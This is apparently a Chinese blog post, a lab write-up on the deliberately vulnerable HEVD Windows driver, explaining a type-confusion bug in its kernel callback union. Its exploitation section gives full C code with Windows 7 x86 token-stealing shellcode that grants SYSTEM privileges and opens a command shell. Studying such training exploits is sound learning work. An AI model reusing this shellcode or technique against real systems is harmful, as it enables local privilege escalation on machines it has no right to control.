• 漏洞分析丨HEVD-10.TypeConfusing[win7x86]


    作者selph

    前言

    窥探Ring0漏洞世界:类型混淆

    实验环境:

    •虚拟机:Windows 7 x86

    •物理机:Windows 10 x64

    •软件:IDA,Windbg,VS2022

    漏洞分析

    老样子,先IDA分析漏洞函数TriggerTypeConfusion,然后再看看源码

    首先是申请了8字节非分页池内存

     

    然后接下来,把用户传入的8字节结构保存到了内核申请的8字节空间里,然后调用了一个初始化函数,程序就结束了

     

    现在来看看这个初始化程序,打印后4字节的内容,然后调用后4字节的内容(回调函数):

     

    从反汇编的层面看到的是,这里传入的后4字节会被当成函数调用

    接下来看看源码:

    ///

    /// Trigger the Type Confusion Vulnerability
    ///

    ///The pointer to USER_TYPE_CONFUSION_OBJECT object
    /// NTSTATUS
    NTSTATUS
    TriggerTypeConfusion(
    In PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
    )
    {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;

    PAGED_CODE();

    1. __try
    2. {
    3. //
    4. // Verify if the buffer resides in user mode
    5. //
    6. ProbeForRead(
    7. UserTypeConfusionObject,
    8. sizeof(USER_TYPE_CONFUSION_OBJECT),
    9. (ULONG)__alignof(UCHAR)
    10. );
    11. //
    12. // Allocate Pool chunk
    13. //
    14. KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
    15. NonPagedPool,
    16. sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
    17. (ULONG)POOL_TAG
    18. );
    19. if (!KernelTypeConfusionObject)
    20. {
    21. //
    22. // Unable to allocate Pool chunk
    23. //
    24. DbgPrint("[-] Unable to allocate Pool chunk\n");
    25. Status = STATUS_NO_MEMORY;
    26. return Status;
    27. }
    28. else
    29. {
    30. DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
    31. DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
    32. DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
    33. DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
    34. }
    35. DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
    36. DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
    37. DbgPrint("[+] KernelTypeConfusionObject Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
    38. KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
    39. KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
    40. DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
    41. DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);

    #ifdef SECURE
    //
    // Secure Note: This is secure because the developer is properly setting ‘Callback’
    // member of the ‘KERNEL_TYPE_CONFUSION_OBJECT’ structure before passing the pointer
    // of ‘KernelTypeConfusionObject’ to ‘TypeConfusionObjectInitializer()’ function as
    // parameter
    //

    1. KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
    2. Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);

    #else
    DbgPrint(“[+] Triggering Type Confusion\n”);

    1. //
    2. // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
    3. // use of the 'UNION' construct. The developer has not set the 'Callback' member of
    4. // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
    5. // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
    6. // parameter
    7. //
    8. Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);

    #endif

    1. DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
    2. DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
    3. DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
    4. //
    5. // Free the allocated Pool chunk
    6. //
    7. ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
    8. KernelTypeConfusionObject = NULL;
    9. }

    __except (EXCEPTION_EXECUTE_HANDLER)
    {
    Status = GetExceptionCode();
    DbgPrint(“[-] Exception Code: 0x%X\n”, Status);
    }

    return Status;
    }

    这里安全版本和非安全版本的区别在于是否初始化回调函数,然后再进入初始化函数

    这里用的对象结构如下,可以看到,用户传入的是4字节的Type,而在内核结构里,后4字节是个联合体

    typedef struct _USER_TYPE_CONFUSION_OBJECT
    {
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
    } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

    typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
    {
    ULONG_PTR ObjectID;
    union
    {
    ULONG_PTR ObjectType;
    FunctionPointer Callback;
    };
    } KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;

    最后进入初始化函数,就直接调用回调函数了:

    ///

    /// Type Confusion Object Initializer
    ///
    ///The pointer to KERNEL_TYPE_CONFUSION_OBJECT object
    /// NTSTATUS
    NTSTATUS
    TypeConfusionObjectInitializer(
    In PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
    )
    {
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    DbgPrint(“[+] KernelTypeConfusionObject->Callback: 0x%p\n”, KernelTypeConfusionObject->Callback);
    DbgPrint(“[+] Calling Callback\n”);

    KernelTypeConfusionObject->Callback();

    DbgPrint(“[+] Kernel Type Confusion Object Initialized\n”);

    return Status;
    

    }

    这里初始化函数没啥问题,主要在于进入初始化函数之前,对对象结构的操作,因为使用了联合体,如果没有初始化Callback,那么用户输入的ObjectType会被当成Callback去执行,这就是所谓的类型混淆。

    漏洞利用

    利用思路就很简单了,传入对象后四字节给定shellcode地址即可:

    #include
    #include

    // Windows 7 SP1 x86 Offsets
    #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
    #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
    #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
    #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
    #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
    #define SYSTEM_PID 0x004 // SYSTEM Process PID

    typedef struct _UserObject {
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
    }UserObject,*PUserObject;

    VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
    pushad

    1. ;获取当前进程EPROCESS
    2. xor eax, eax
    3. mov eax, fs: [eax + KTHREAD_OFFSET]
    4. mov eax, [eax + EPROCESS_OFFSET]
    5. mov ecx, eax
    6. ;搜索system进程EPROCESS
    7. mov edx, SYSTEM_PID
    8. SearchSystemPID :
    9. mov eax, [eax + FLINK_OFFSET]
    10. sub eax, FLINK_OFFSET
    11. cmp[eax + PID_OFFSET], edx
    12. jne SearchSystemPID
    13. ; token窃取
    14. mov edx, [eax + TOKEN_OFFSET]
    15. mov[ecx + TOKEN_OFFSET], edx
    16. ; 环境还原 + 返回
    17. popad
    18. }

    }

    int main()
    {
    ULONG UserBufferSize = sizeof(UserObject);
    PVOID EopPayload = &TokenStealingPayloadWin7;
    HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

    // 构造对象
    

    UserBuffer->ObjectID = 0x12345678;
    UserBuffer->ObjectType = (ULONG_PTR)EopPayload;

    ULONG WriteRet = 0;
    

    DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
    UserBuffer = NULL;

    system(“pause”);
    system(“cmd.exe”);

    return 0;
    }

    截图演示

     

    挖坑

    CVE-2018-8174

    参考资料

    •[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) GitHub - hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver

  • 相关阅读:
    java中判断String类型为空和null的方法
    Java(三)(static,代码块,单例设计模式,继承)
    【简易 教程:Pytorch 配置 GPU版本】
    MLX90640 红外热成像仪测温传感器 手机 APP 软件 RedEye 连接详细
    1000万条数据分页方法,redis提高访问速度,减少数据库压力
    餐厅订座预约小程序的效果如何
    Kotlin 操作集合的高阶函数
    Python 中的异步请求
    基于SSM的医院挂号管理系统
    STM32实战总结:HAL之PWM蜂鸣器
  • 原文地址:https://blog.csdn.net/m0_64973256/article/details/126179585